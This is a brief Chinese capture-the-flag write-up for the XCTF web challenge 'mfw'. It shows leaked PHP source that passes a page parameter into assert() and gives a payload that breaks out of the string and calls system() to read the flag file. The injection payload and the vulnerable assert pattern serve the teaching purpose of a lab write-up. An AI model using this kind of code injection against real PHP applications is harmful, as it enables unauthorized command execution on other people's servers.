web-21 XCTF mfw
网站挺好,大概有源码泄露,githack扫一下,得到源代码(截取PHP部分)
<?php
if (isset($_GET['page'])) {
$page = $_GET['page'];
} else {
$page = "home";
}
$file = "templates/" . $page . ".php";
// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");
// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");
>?
要查看的文件名file是可以控制的,但".."被禁用了不能用类似"../../../../../flag.php"的形式查看flag了。
但assert函数是存在任意代码执行漏洞,因此我们可以先尝试闭合strpos函数,省下的部分就是任意代码执行了。
只要构造payload
?page=').system("cat templates/flag.php");//
得到flag!